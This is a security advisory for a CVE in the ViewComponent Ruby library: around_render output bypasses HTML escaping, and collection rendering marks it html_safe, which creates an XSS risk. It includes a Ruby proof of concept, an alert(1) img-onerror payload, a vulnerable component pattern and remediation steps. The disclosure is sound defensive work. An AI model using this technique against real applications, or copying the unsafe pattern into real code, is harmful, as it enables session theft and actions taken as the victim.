ViewComponent: around_render HTML-Safety Bypass ## Summary `ViewComponent::Base#around_render` can return HTML-unsafe strings that bypass the escaping behavior applied to normal `#call` return values. This creates an XSS risk when downstream applications use `around_render` to wrap, replace, instrument, or conditionally return content that includes user-controlled data. The issue is especially dangerous in collection rendering because `ViewComponent::Collection#render_in` joins the per-item results and marks the entire output as `html_safe`, converting raw unsafe output into a trusted `ActiveSupport::SafeBuffer`. ## Affected Code Validated against: - Repository commit: `eea79445` - Ruby: `3.4.9` Relevant locations: - `lib/view_component/base.rb` - `render_in` - `around_render` - `__vc_maybe_escape_html` - `lib/view_component/template.rb` - `InlineCall#safe_method_name_call` - `lib/view_component/collection.rb` - `Collection#render_in` Key code paths: ```ruby # lib/view_component/base.rb around_render do render_template_for(@__vc_requested_details).to_s end ``` ```ruby # lib/view_component/template.rb proc do __vc_maybe_escape_html(send(m)) do Kernel.warn(...) end end ``` ```ruby # lib/view_component/collection.rb components.map do |component| component.render_in(view_context, &block) end.join(rendered_spacer(view_context)).html_safe ``` ## Root Cause Normal inline `#call` output is passed through `__vc_maybe_escape_html`, which escapes HTML-unsafe strings. However, when `around_render` itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary. This creates two different output-safety behaviors: - `#call` returning unsafe string: escaped - `#around_render` returning unsafe string: raw Collection rendering then amplifies the issue by calling `.html_safe` on the joined result. ## Proof of Concept Run from the repository root: ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" class PocController < ActionController::Base; end def vc c = PocController.new c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc"))) c.set_response!(ActionDispatch::Response.new) c.view_context end PAYLOAD = "

" class UnsafeCallComponent < ViewComponent::Base def initialize(payload:) = @payload = payload def call = @payload end class UnsafeAroundComponent < ViewComponent::Base def initialize(payload:) = @payload = payload def call = "SAFE" def around_render = @payload end class UnsafeAroundCollectionComponent < ViewComponent::Base with_collection_parameter :payload def initialize(payload:) = @payload = payload def call = "SAFE" def around_render = @payload end view_context = vc normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context) around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context) collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context) puts "normal_call=#{normal}" puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}" puts "around_render=#{around}" puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}" puts "collection=#{collection}" puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}" c = PocController.new c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc"))) c.set_response!(ActionDispatch::Response.new) out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD)) puts "controller_render_to_string=#{out}" puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}" ``` Observed output: ```text normal_call=<img src=x onerror=alert(1)> normal_call_raw=false html_safe=true around_render=

around_render_raw=true html_safe=false collection=

collection_raw=true html_safe=true controller_render_to_string=

controller_raw=true html_safe=false ``` The control case confirms that normal `#call` output is escaped. The `around_render` cases confirm that the same payload is emitted raw. ## Exploit Scenario A downstream application defines a component that uses `around_render` for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML. Example vulnerable pattern: ```ruby class BannerComponent < ViewComponent::Base def initialize(message:) @message = message end def call "fallback" end def around_render "" end end ``` If `message` is user-controlled, scriptable HTML reaches the browser. ## Impact Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include: - session or token theft where cookies/tokens are accessible - authenticated actions as the victim - CSRF bypass through same-origin script execution - exfiltration of page data - credential phishing or UI redress inside trusted application origin The collection path is particularly risky because it converts the joined raw output to `html_safe`, which can suppress later escaping. ## Preconditions - The application defines or uses a component overriding `around_render`. - `around_render` returns or wraps attacker-influenced HTML-unsafe content. - The component is rendered in a browser-visible response. - Higher impact when rendered through `ViewComponent::Collection` or controller/direct rendering. ## Chaining Potential This finding can chain with: - preview routes or examples that accept URL parameters and render components - unsafe markdown or CMS content rendered inside `around_render` - CSP-disabled preview routes - applications that expose admin-only pages containing affected components ## Remediation Apply the same HTML-safety enforcement to `around_render` return values that is applied to normal inline `#call` output. Possible approaches: 1. Wrap the result of `around_render` with `__vc_maybe_escape_html` when the current template is HTML. 2. Require `around_render` to return an `ActiveSupport::SafeBuffer` to opt into raw HTML. 3. In collection rendering, avoid blindly calling `.html_safe` on joined component outputs unless each item has been normalized through the same safety boundary.

CVE-2026-54498 Blast Radius

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